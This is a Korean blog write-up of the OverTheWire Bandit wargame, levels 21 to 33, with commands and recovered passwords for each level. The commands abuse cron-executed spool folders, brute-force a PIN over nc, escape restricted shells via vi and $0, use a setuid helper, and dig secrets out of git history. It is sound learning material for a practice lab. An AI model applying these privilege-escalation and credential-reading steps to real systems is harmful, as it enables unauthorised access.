우당탕탕 개발일지
[Linux] OverTheWire Lv21~ Lv33 본문
이전 문제들은 여기에
https://journal-devchop.tistory.com/33
[Linux] OverTheWire Lv0 ~ Lv10
https://overthewire.org/wargames/bandit/bandit0.html
journal-devchop.tistory.com
https://journal-devchop.tistory.com/34
[Linux] OverTheWire Lv11~ Lv20
다른문제들은 아래 링크 [Linux] OverTheWire Lv0 ~ Lv10 https://overthewire.org/wargames/bandit/bandit0.html journal-devchop.tistory.com [Linux] OverTheWire Lv21~ Lv34 Lv20 journal-devchop.tistory.com lv11. tr 명령어에 대한 문제이다. 아
journal-devchop.tistory.com
Lv21
corn 의 내용을 확인해 보라고 한다. 주어진 경로로 들어가면 다음과같이 cronjob_bandit22 파일이 있는것을 알 수 있다. 오픈해보자
cd /etc/cron.d
ls ## bandit22 파일 발견
cat cronjob_bandit22
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
/usr/bin/cronjob_bandit22.sh 파일을 열어보자
cat /usr/bin/cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
bandit_pass/bandit22 즉, 비밀번호의 내용을 /tmp/t7~~~ 에 저장하고있다고 나온다.
cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
## WdDozAdTM2z9DiFEQ2mGlwngMfj4EZff 획득!
lv22
lv21과 비슷한 문제이다. 마찬가지로 /etc/cron.d 에 bandit23 파일이 있는데, 이를 오픈하면 다음과 같은 내용이 나온다.
cat /etc/cron.d
ls # bandit23 파일 확인
cat cronjob_bandit23
@reboot bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash
myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)
echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"
cat /etc/bandit_pass/$myname > /tmp/$mytarget
mytarget을 찾기 위해서는위에있는 whoami 와 echo~~ 명령어를 실행해보면된다.
whoami
##bandit23
echo I am user bandit23 | md5sum | cut -d ' ' -f 1
##8ca319486bfbbc3663ea0fbe81326349 ## 이게 mytarget 이 된다.
cat /tmp/8ca319486bfbbc3663ea0fbe81326349
##QYw0Y2aiA672PsMmh9puTQuhoz8SyR2G 획득
lv23
cd /etc/cron.d
cat cronjob_bandit24
##@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
##* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
cat /usr/bin/cronjob_bandit24.sh
cronjob_bandi24.sh 내용은 아래와 같다.
#!/bin/bash
myname=$(whoami)
cd /var/spool/$myname/foo
echo "Executing and deleting all scripts in /var/spool/$myname/foo:"
for i in * .*;
do
if [ "$i" != "." -a "$i" != ".." ];
then
echo "Handling $i"
owner="$(stat --format "%U" ./$i)"
if [ "${owner}" = "bandit23" ]; then
timeout -s 9 60 ./$i
fi
rm -f ./$i
fi
done
실행자는 bandit24이므로, 정리하면 /var/spool/bandit24/foo 폴더 안에있는 모든 파일을 실행한 뒤 제거하는 스크립트이다.
즉, 이 폴더에 있는 스크립트는 모두 bandit24의 권한으로 실행된 뒤 제거된다.
해야할 일은 다음과 같다.
1. /etc/bandit_pass/bandit24 비밀번호에 대한 내용을 내가 원하는 폴더로 이동하는 스크립트를 작성한다.
2. 그 스크립트를 /var/spool/bandit24/foo 폴더에 슬쩍 끼워넣는다.
3. crontab이 아무것도 모르고 bandit24권한으로 내 스크립트를 실행해줄것이다.
주의해야할 것은
1. 내가 작성할 스크립트 sovle.sh 는 bandit24가 읽고 실행할 수 있도록 권한설정이 되어있어야 한다. (chmode 755)
2. 비밀번호를 저장할 폴더 또한 bandit24가 쓸수 있도록 권한설정이 되어있어야 한다. (chmod 777)
mkdir /tmp/mysolution #폴더를 하나 만든다.
chmod 777 /tmp/solution # bandit24 에서 여기에 파일을 쓸수있도록 권한오픈
cd /tmp/mysolution #이동
vi solution.sh
##아래 sh파일입력해준다
#! /bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/mysolution/pw.txt
###sh 파일작성완료 (wq로 나온다)
chmod 755 solution.sh # bandit24 가 실행할 수 있도록 권한부여
cp solution.sh /var/spool/bandit24/foo #foo파일로 copy
## 1분대기
ls
##pw.txt파일이 생길때까지 대기
cat pw.txt
#VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar
lv24
해야할 일은 다음과같다.
1. 0000~ 9999 까지 순서대로 echo를 해주는 shell script를 작성한다 ( banit25.sh 라고하자)
2. bandit25.sh 파일로 nc localhost를 호출해준다.
3. Wrong인 부분은 걸러내보자
## mkdir /tmp/mysolution
cd /tmp/mysolution
vi bandit25.sh
## shell script
#! /bin/bash
PW=VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar
for i in {0000..9999}
echo $PW $i
done
## end shell script (exit with "wq")
chmod 755 bandit25.sh
./bandit25.sh | nc localhost 30002 | grep -v "Wrong"
##Correct!
##The password of user bandit25 is p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d
lv25
Logging in to bandit26 from bandit25 should be fairly easy… The shell for user bandit26 is not /bin/bash, but something else. Find out what it is, how it works and how to break out of it.
Commands you may need to solve this level : ssh, cat, more, vi , ls, id, pwd
bandit26은 /bin/bash 가 아니라고 한다. 아니면 뭐냐 찾아보자.
cat /etc/passwd | grep bandit26
## bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext
## 다른애들과 다르게 /usr/bin/showtext 임을 알 수 있음.
cat /usr/bin/showtext
그러면 다음과 같은 내용이 나온다.
badnit26으로 접속시도했을때 나오는 부분은 모두 ~/text.txt로 보내고, more명령어가 종료되면 exit 0 으로 쫓아내게끔 되어있다.
more 명령어는 파일 내용이 너무 길때, 페이지로 나누어 확인하는 기능이며, 모든 페이지를 확인 할 경우 종료된다.
1. 화면의 크기를 줄여서 more이 한페이지 안에 끝나고, 자동으로 exit이 호출되지 않도록 한다.
2. 쉘을 /bin/bash 로 변경한다.
ssh -i bandit26.sshkey bandit26@localhost -p 2220
## 아래사진처럼 more 66% 가 나옴.
## more 안에서 v 키를 누른다음 다음을 차례대로 입력.
:set shell=/bin/bash
:shell
bandit26@bandit:~$ cat /etc/bandit_pass/bandit26
#c7GvcKlw9mC7aUQaPx7nwFstuAIBw1o1
lv26
ls -al
## bandit27-do 파일이 setuid로 있으며, 권한은 bandit27 로 되어있음. 저번에 푼 문제랑 똑같음.
./bandit27-do cat /etc/bandit_pass/bandit27
#YnQpBuifNMas1hcUFk70ZmqkhUU2EuaS
lv27
There is a git repository at ssh://bandit27-git@localhost/home/bandit27-git/repo via the port 2220. The password for the user bandit27-git is the same as for the user bandit27.
Clone the repository and find the password for the next level.
git clone ssh://username@servername[:port]/path
git clone ssh://bandit27-git@localhost:2220/home/badit27-git/repo
깃 클론하는 명령어는 다음과 같다. 그런데 실행을 해보면 Permission Denied가 뜬다. 이는 bandit27에 대한 permission 거부가 아니라, 현재위치에 새로운 파일을 쓸수 없기 때문이다. 따라서 /tmp/아래에 폴더를 만들고, 거기에서 실행을 하던지, 아니면 git clone 시 뒤에 저장경로를 지정해주든지 하자.
git clone ssh://bandit27-git@localhost:2220/home/bandit27-git/repo /tmp/rina/bandit28
##enter password
cd /tmp/rina/bandit28
ls
#README
cat README
#The password to the next level is: AVanL161y9rsbcJIsFHuw35rjaOM19nR
lv28
There is a git repository at ssh://bandit28-git@localhost/home/bandit28-git/repo via the port 2220. The password for the user bandit28-git is the same as for the user bandit28.
Clone the repository and find the password for the next level.
우선 gitclone 부분은 LV27 과 동일하니 , 생략하고 클론된 파일부터 보자.
# Bandit Notes
Some notes for level29 of bandit.
## credentials
- username: bandit29
- password: xxxxxxxxxx
어떤놈이 비밀번호를 지웠다.
.git 이 있는 경로 에서
git log
Author: Morla Porla <morla@overthewire.org>
Date: Thu Oct 5 06:19:41 2023 +0000
fix info leak
commit f08b9cc63fa1a4602fb065257633c2dae6e5651b
Author: Morla Porla <morla@overthewire.org>
Date: Thu Oct 5 06:19:41 2023 +0000
add missing data
commit a645bcc508c63f081234911d2f631f87cf469258
Author: Ben Dover <noone@overthewire.org>
Date: Thu Oct 5 06:19:41 2023 +0000
initial commit of README.md
##morla 가 비밀번호를 morla~ 하게바꿨나보다 ㅋ켈켈케렠ㄹ
내가 해야할것은 git을 이전버전으로 돌리는것이다.
git reset --hard HEAD~1
cat README.md
# Bandit Notes
Some notes for level29 of bandit.
## credentials
- username: bandit29
- password: tQKvmcwNYcFS6vmPHIUSI3ShmsrQZK8S
git 의 구조와 reset의 원리는 아래 블로그에 잘 정리되어있다.
Git - Reset 명확히 알고 가기
지금까지 reset 명령을 실행하는 기본 형태와 사용 방법을 살펴봤다. reset 명령을 실행할 때 경로를 지정하면 1단계를 건너뛰고 정해진 경로의 파일에만 나머지 reset 단계를 적용한다. 이는 당연한
git-scm.com
lv29
git clone을 해준다.
내용은 다음과같다.
git clone ssh://bandit29-git@localhost:2220/home/bandit29-git/repo /tmp/rina/bandit29
cd /tmp/rina/bandit29
cat README.md
# Bandit Notes
Some notes for bandit30 of bandit.
## credentials
- username: bandit30
- password: <no passwords in production!>
다른브랜치가 있는지 확인
git branch -a
## 이렇게나..? 오호라..?
remotes/origin/HEAD -> origin/master
remotes/origin/dev
remotes/origin/master
remotes/origin/sploits-dev
##
git checkout remotes/orign/dev
git pull
cat README.md
# Bandit Notes
Some notes for bandit30 of bandit.
## credentials
- username: bandit30
- password: xbhV3HpNGlTIdnjUrdAlPzc2L6y9EOnS
##good!
lv30
git clone ssh://bandit30-git@localhost:2220/home/bandit30-git/repo /tmp/rina/bandit30
cd /tmp/rina/bandit30
cat README.md
## just an epmty file... muahaha ##약오른다.
cd .git
cat packed-refs
##d39631d73f786269b895ae9a7b14760cbf40a99f refs/remotes/origin/master
##831aac2e2341f009e40e46392a4f5dd318483019 refs/tags/secret
두번째께 굉장히 의심스럽다.
git show 831aac2e2341f009e40e46392a4f5dd318483019
## OoffzGDlzhAlerFJ2cAiz1D41JW1Mhmt
## wowowowow!
lv31
이번에는 readMe에서 무엇을 해야하는지 명확하게 설명해준다.
git clone ssh://bandit31-git@localhost:2220/home/bandit31-git/repo
cat README.md
This time your task is to push a file to the remote repository.
Details:
File name: key.txt
Content: 'May I come in?'
Branch: master
echo May I come in ? > key.txt
git add key.txt ##.gitignore에 있다고 add가 안됨.
vi .gitignore ## *.txt 를 제거
git add .
git commit -m "may i come in?"
git push
### Attempting to validate files... ####
remote:
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
remote:
remote: Well done! Here is the password for the next level:
remote: rmCBvG56y58BXzv98yZGdO7ATVL5dW8y
remote:
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
remote:
##### --- #####
## rmCBvG56y58BXzv98yZGdO7ATVL5dW8y
lv32
접속을 하면 이렇게 나오는데, 모든것이 대문자로 변환되어서 명령어가 안먹힌다.
https://zetawiki.com/wiki/%EB%A6%AC%EB%88%85%EC%8A%A4_$0
리눅스 $0 - 제타위키
다음 문자열 포함...
zetawiki.com
위 사이트를 참고하여 $0 을 입력하면 임시로 bash로 들어갈수 있게된다.
$0 ## 임시로 bash
bash ## 완전히 bash로
cat /etc/bandit_pass/bandit33
## odHo63fHiFqcWWJG9rLiLDtPm45KzUKy
'Linux' 카테고리의 다른 글
[Linux] OverTheWire Lv11~ Lv20 (0) | 2024.03.19 |
---|---|
[Linux] OverTheWire Lv0 ~ Lv10 (0) | 2024.03.17 |
[Kali] Docker 에 kali linux 설치하기 (0) | 2024.03.15 |